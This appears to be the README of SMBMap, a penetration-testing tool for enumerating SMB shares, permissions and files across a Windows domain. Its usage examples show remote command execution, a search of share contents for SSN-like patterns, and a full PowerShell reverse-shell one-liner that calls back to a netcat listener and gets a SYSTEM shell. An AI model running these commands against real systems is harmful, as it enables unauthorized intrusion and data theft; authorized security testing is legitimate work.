SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I’m on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated. It’s definitely rough around the edges, but I’m just trying to pack in features at the moment. Version 2.0 should clean up the code a lot….whenever that actually happens ;). Thanks for checking it out!!
There’s a known oddity in the SMBServer component used for the file content search feature. For some reason it throws an exception in the threading library. It still works, but the error is annoying none the less.
Features:
- Pass-the-Hash Support
- File upload/download/delete
- Permission enumeration (writable share, meet Metasploit)
- Remote Command Execution
- Distrubted file content searching (beta!)
- File name matching (with an auto downoad capability)
Installation
git clone https://github.com/ShawnDEvans/smbmap.git
python3 -m pip install -r requirements.txt
Usage
Default Output:
$ python smbmap.py --host-file smb-hosts.txt -u jsmith -p 'R33nisP!nckl3' -d ABC
[+] Reading from stdin
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.0.5:445 Name: unkown
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ NO ACCESS
TMPSHARE READ, WRITE
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
Disk Permissions
---- -----------
IPC$ NO ACCESS
print$ READ, WRITE
My Dirs NO ACCESS
WWWROOT_OLD NO ACCESS
ADMIN$ READ, WRITE
C$ READ, WRITE
Command execution:
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
abcadmin
The command completed successfully.
Non-recursive path listing (ls):
$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 172.16.0.24:445 Name: 172.16.0.24
Disk Permissions
---- -----------
C$ READ, WRITE
.Users
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 .
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 ..
dr--r--r-- 0 Wed Apr 22 14:50:36 2015 Administrator
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 All Users
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Default
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Default User
fr--r--r-- 174 Thu Apr 9 14:44:01 2015 desktop.ini
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Public
dr--r--r-- 0 Wed Apr 22 13:33:01 2015 wingus
File Content Searching:
$ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.168.0.99...
[+] User SMB session establishd on 192.168.0.85...
[+] User SMB session establishd on 192.168.0.89...
[+] File search started on 1 hosts...this could take a while
[+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca884613f4b.txt
[+] File search started on 2 hosts...this could take a while
[+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] File search started on 3 hosts...this could take a while
[+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 3 completed on 192.168.0.85...
[+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] Job 2 of 3 completed on 192.168.0.89...
[+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Job 3 of 3 completed on 192.168.0.99...
[+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt
[+] All jobs complete
Host: 192.168.0.85 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
No matching patterns found
Host: 192.168.0.89 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm
C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm
Host: 192.168.0.99 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm
Drive Listing:
$ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.1.24:445 Name: unkown
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
E: \\vboxsrv\Public VirtualBox Shared Folders
Nifty Shell:
$ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
[!] Error encountered, sharing violation, unable to retrieve output
Attackers Netcat Listener:
$ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
Copyright (C) 2015 ShawnDEvans
Source: https://github.com/ShawnDEvans/
